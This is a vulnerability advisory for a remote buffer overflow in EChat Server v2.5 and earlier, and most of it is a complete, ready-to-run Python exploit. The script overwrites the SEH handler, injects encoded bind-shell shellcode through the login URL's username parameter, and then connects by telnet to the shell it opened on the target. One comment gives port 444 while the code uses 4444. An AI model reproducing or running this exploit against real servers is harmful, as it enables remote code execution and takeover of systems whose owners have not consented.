Information
--------------------
Name : EChat Server <= v2.5
Software : E Chat Server
Vendor Homepage : http://www.echatserver.com/
Vulnerability Type : Remote Buffer Overflow Exploit
Severity : High
Researcher : Juan Sacco (Runlvl) <jsacco [at] insecurityresearch [dot] com>

Description
------------------

EChat Server is prone to a remote buffer-overflow vulnerability
because it fails to perform adequate boundary-checks on user-supplied
data.
Successfully exploiting this issue will allow an attacker to execute
arbitrary code within the context of the affected application. Failed
exploit attempts will result in a denial-of-service condition.


Exploit example as follow
-----------------------------

#!/usr/bin/python
# Easy Chat Server Server <= v2.5 Remote Buffer Overflow Exploit
# Written by Juan Sacco (Runlvl)
# Contact: jsacco@insecurityresearch.com
# Web site: http://www.insecurityresearch.com
# Target tested: Windows XP SP3

import string, sys
import socket, httplib
import telnetlib

def howtousage():
  print "Sorry, required arguments: Host Port"
  sys.exit(-1)

def run():
  try:
    # Basic structure: JUNK + NSEH + SEH + SHELLCODE
    Junk = '\x41' * 216 # 216 bytes of A
    nSEH = '\xEB\x06\x90\x90' # JMP 6 bytes short
    SEH = '\xE1\xB2\x01\x10' # 0x1001b2e1 pop edi; pop esi; ret
  
    # ShellCode Bind TCP PORT 444 Lenght 751 Encode : Alpha Upper
    ShellCode = (
    "\x89\xe1\xd9\xed\xd9\x71\xf4\x5f\x57\x59\x49\x49\x49\x49\x43"
    "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34"
    "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"
    "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"
    "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x5a\x48\x4b\x39\x43\x30"
    "\x45\x50\x45\x50\x43\x50\x4c\x49\x4b\x55\x50\x31\x4e\x32\x45"
    "\x34\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"
    "\x50\x52\x52\x34\x4c\x4b\x54\x32\x47\x58\x54\x4f\x4e\x57\x51"
    "\x5a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x47\x4c"
    "\x45\x31\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"
    "\x4d\x45\x51\x58\x47\x5a\x42\x4c\x30\x51\x42\x56\x37\x4c\x4b"
    "\x56\x32\x52\x30\x4c\x4b\x50\x42\x47\x4c\x45\x51\x58\x50\x4c"
    "\x4b\x47\x30\x54\x38\x4d\x55\x49\x50\x52\x54\x51\x5a\x45\x51"
    "\x4e\x30\x56\x30\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x51"
    "\x30\x45\x51\x58\x53\x5a\x43\x47\x4c\x51\x59\x4c\x4b\x56\x54"
    "\x4c\x4b\x45\x51\x49\x46\x50\x31\x4b\x4f\x50\x31\x49\x50\x4e"
    "\x4c\x49\x51\x58\x4f\x54\x4d\x45\x51\x58\x47\x56\x58\x4d\x30"
    "\x54\x35\x5a\x54\x54\x43\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x47"
    "\x54\x52\x55\x4d\x32\x50\x58\x4c\x4b\x51\x48\x51\x34\x43\x31"
    "\x4e\x33\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45"
    "\x4c\x45\x51\x58\x53\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x4e\x30"
    "\x4c\x49\x50\x44\x56\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x51"
    "\x49\x50\x5a\x50\x51\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"
    "\x4c\x4b\x54\x52\x5a\x4b\x4b\x36\x51\x4d\x52\x48\x56\x53\x47"
    "\x42\x43\x30\x45\x50\x43\x58\x43\x47\x43\x43\x47\x42\x51\x4f"
    "\x56\x34\x52\x48\x50\x4c\x52\x57\x56\x46\x45\x57\x4b\x4f\x4e"
    "\x35\x4e\x58\x5a\x30\x45\x51\x43\x30\x45\x50\x51\x39\x4f\x34"
    "\x51\x44\x56\x30\x52\x48\x51\x39\x4d\x50\x52\x4b\x45\x50\x4b"
    "\x4f\x4e\x35\x56\x30\x56\x30\x50\x50\x50\x50\x47\x30\x50\x50"
    "\x47\x30\x50\x50\x52\x48\x5a\x4a\x54\x4f\x49\x4f\x4d\x30\x4b"
    "\x4f\x49\x45\x4d\x59\x58\x47\x50\x31\x49\x4b\x56\x33\x52\x48"
    "\x43\x32\x43\x30\x54\x51\x51\x4c\x4b\x39\x4d\x36\x43\x5a\x54"
    "\x50\x56\x36\x50\x57\x52\x48\x49\x52\x49\x4b\x56\x57\x43\x57"
    "\x4b\x4f\x58\x55\x50\x53\x56\x37\x52\x48\x4f\x47\x4b\x59\x50"
    "\x38\x4b\x4f\x4b\x4f\x49\x45\x51\x43\x51\x43\x51\x47\x43\x58"
    "\x43\x44\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x51\x47\x4c"
    "\x49\x4f\x37\x52\x48\x52\x55\x52\x4e\x50\x4d\x45\x31\x4b\x4f"
    "\x4e\x35\x45\x38\x45\x33\x52\x4d\x45\x34\x45\x50\x4c\x49\x5a"
    "\x43\x51\x47\x51\x47\x51\x47\x50\x31\x5a\x56\x52\x4a\x45\x42"
    "\x51\x49\x56\x36\x4d\x32\x4b\x4d\x45\x36\x4f\x37\x51\x54\x51"
    "\x34\x47\x4c\x43\x31\x43\x31\x4c\x4d\x47\x34\x56\x44\x54\x50"
    "\x49\x56\x45\x50\x51\x54\x51\x44\x50\x50\x50\x56\x56\x36\x56"
    "\x36\x47\x36\x51\x46\x50\x4e\x51\x46\x50\x56\x56\x33\x51\x46"
    "\x43\x58\x52\x59\x58\x4c\x47\x4f\x4c\x46\x4b\x4f\x58\x55\x4c"
    "\x49\x4b\x50\x50\x4e\x51\x46\x47\x36\x4b\x4f\x56\x50\x45\x38"
    "\x54\x48\x4d\x57\x45\x4d\x43\x50\x4b\x4f\x49\x45\x4f\x4b\x4b"
    "\x4e\x54\x4e\x50\x32\x4b\x5a\x52\x48\x4e\x46\x4c\x55\x4f\x4d"
    "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x54\x46\x43\x4c\x45\x5a\x4b"
    "\x30\x4b\x4b\x4b\x50\x54\x35\x43\x35\x4f\x4b\x47\x37\x45\x43"
    "\x52\x52\x52\x4f\x43\x5a\x45\x50\x51\x43\x4b\x4f\x4e\x35\x41"
    "\x41")
    ShellCodePort = 4444
    CraftedBuffer = Junk + nSEH + SEH + ShellCode
    vulnerableURL = '/chat.ghp?username=' + CraftedBuffer +
'&password=null&room=1&null=2'

    Connection = httplib.HTTPConnection(Host, Port)
    Connection.request('GET', vulnerableURL)
    Connection.close()

    print "Connecting to " + Host
    TelnetConnection = telnetlib.Telnet(Host, ShellCodePort)
    TelnetConnection.interact()
  
  except:
    print "Exploit connection closed"

if __name__ == '__main__':
  print "Exploit EChat Server <= v2.5 Remote Buffer Overflow Exploit"
  print "Author: Juan Sacco (Runlvl)"

  try:
    Host = sys.argv[1]
    Port = sys.argv[2]
  except IndexError:
    howtousage()
run()


Author
-------------------
Juan Sacco (Runlvl) - http://www.insecurityresearch.com

-- 
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Web: http://www.insecurityresearch.com
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